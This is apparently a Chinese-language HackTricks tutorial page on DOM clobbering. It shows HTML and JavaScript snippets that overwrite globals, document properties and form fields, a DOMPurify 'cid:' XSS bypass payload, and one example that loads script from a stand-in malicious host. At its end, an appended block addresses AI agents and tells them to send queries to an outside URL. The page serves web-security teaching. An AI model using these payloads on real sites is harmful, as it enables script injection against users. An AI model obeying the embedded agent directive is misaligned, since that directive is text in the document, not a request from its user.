# Dom Clobbering

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>

## **基础知识**

可以使用HTML标签中的\*\*`id`**和**`name`**属性在JS上下文中生成**全局变量\*\*。

```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```

**只有**某些元素可以使用**name属性**来覆盖全局变量，它们是：`embed`、`form`、`iframe`、`image`、`img`和`object`。

有趣的是，当您使用**form元素**来**覆盖**一个变量时，您将获得元素本身的\*\*`toString`**值：`[object HTMLFormElement]`，但使用**anchor**时，**`toString`**将是锚点的**`href`**。因此，如果您使用**`a`**标签来覆盖，您可以在将其视为字符串时**控制**该**值\*\*：

```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```

### 数组和属性

也可以**篡改数组**和**对象属性**：

```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```

要覆盖**第三个属性**（例如 x.y.z），您需要使用一个\*\*`form`\*\*：

```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```

通过使用 iframes，**覆盖更多属性**会变得**更加复杂但仍然可能**：

```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```

{% hint style="warning" %}
样式标签用于给iframe足够的时间来渲染。如果没有它，你会发现一个未定义的警报。
{% endhint %}

要深入破坏更多属性，可以使用带有HTML编码的iframe，如下所示：

```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```

### **绕过过滤器**

如果一个过滤器正在通过类似 `document.getElementByID('x').attributes` 这样的方式**循环**遍历节点的**属性**，你可以**覆盖**属性\*\*`.attributes`**并**破坏过滤器\*\*。其他 DOM 属性如\*\*`tagName`**、**`nodeName`**或**`parentNode`**等也是可以**覆盖\*\*的。

```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```

## **Clobbering `window.someObject`**

在 JavaScript 中经常会发现：

```javascript
var someObject = window.someObject || {};
```

操纵页面上的HTML允许用DOM节点覆盖`someObject`，可能引入安全漏洞。例如，您可以用指向恶意脚本的锚元素替换`someObject`：

```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```

在一个易受攻击的代码中，例如：

```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```

这种方法利用脚本源来执行不需要的代码。

**技巧**：**`DOMPurify`** 允许您使用 **`cid:`** 协议，该协议**不会对双引号进行 URL 编码**。这意味着您可以**注入一个编码的双引号，在运行时将被解码**。因此，注入类似于 **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** 这样的内容将使 HTML 编码的 `&quot;` 在运行时**解码**并**从属性值中逃逸**，以**创建** **`onerror`** 事件。

另一种技术使用了一个 **`form`** 元素。某些客户端库会检查新创建的表单元素的属性以进行清理。但是，通过在表单内添加一个带有 `id=attributes` 的 `input`，您实际上覆盖了属性，阻止了消毒剂访问实际属性。

您可以在[**这篇 CTF 解密中找到这种类型的覆盖示例**](/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md#iframes-in-sop-2)。

## 覆盖文档对象

根据文档，可以使用 DOM 覆盖来覆盖文档对象的属性：

> [文档](https://html.spec.whatwg.org/multipage/dom.html#document)接口[支持命名属性](https://webidl.spec.whatwg.org/#dfn-support-named-properties)。[文档](https://html.spec.whatwg.org/multipage/dom.html#document)对象在任何时刻支持的属性名称包括以下内容，按照贡献它们的元素的[树顺序](https://dom.spec.whatwg.org/#concept-tree-order)排列，忽略后续的重复，并且在相同元素同时贡献 id 属性和 name 属性时，来自 id 属性的值优先于来自 name 属性的值：
>
> \- 所有具有非空名称内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)和[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的名称内容属性的值；\
> \
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性并且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)的[公开](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)元素的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值；\
> \
> \- 所有具有非空[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性和非空名称内容属性的[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)内容属性的值的[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)元素，且在文档树中具有文档作为[根](https://dom.spec.whatwg.org/#concept-tree-root)。

使用这种技术，您可以覆盖常用的值，如 `document.cookie`、`document.body`、`document.children`，甚至文档接口中的方法，如 `document.querySelector`。

```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```

## 在元素被篡改后写入

对 **`document.getElementById()`** 和 **`document.querySelector()`** 的调用结果可以通过注入具有相同id属性的 `<html>` 或 `<body>` 标签来进行更改。以下是如何实现的：

```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```

此外，通过使用样式来隐藏这些注入的HTML/body标签，可以防止`innerText`中其他文本的干扰，从而增强攻击的效果：

```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

调查发现SVG可以有效地利用`<body>`标签：

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

要使HTML标签在Chrome和Firefox等浏览器中在SVG内起作用，需要使用`<foreignobject>`标签：

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```

## Clobbering Forms

可以通过在某些标签中指定`form`属性来向表单中添加新条目。您可以使用这种方法向表单中添加新值，甚至可以添加一个新的按钮来发送它（点击劫持或滥用一些`.click()` JS代码）：

```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```

* 有关更多表单属性，请查看[**此处**](https://www.w3schools.com/tags/tag_button.asp)**。**

## 参考资料

* <https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering>
* <https://portswigger.net/web-security/dom-based/dom-clobbering>
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/dom-clobbering.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
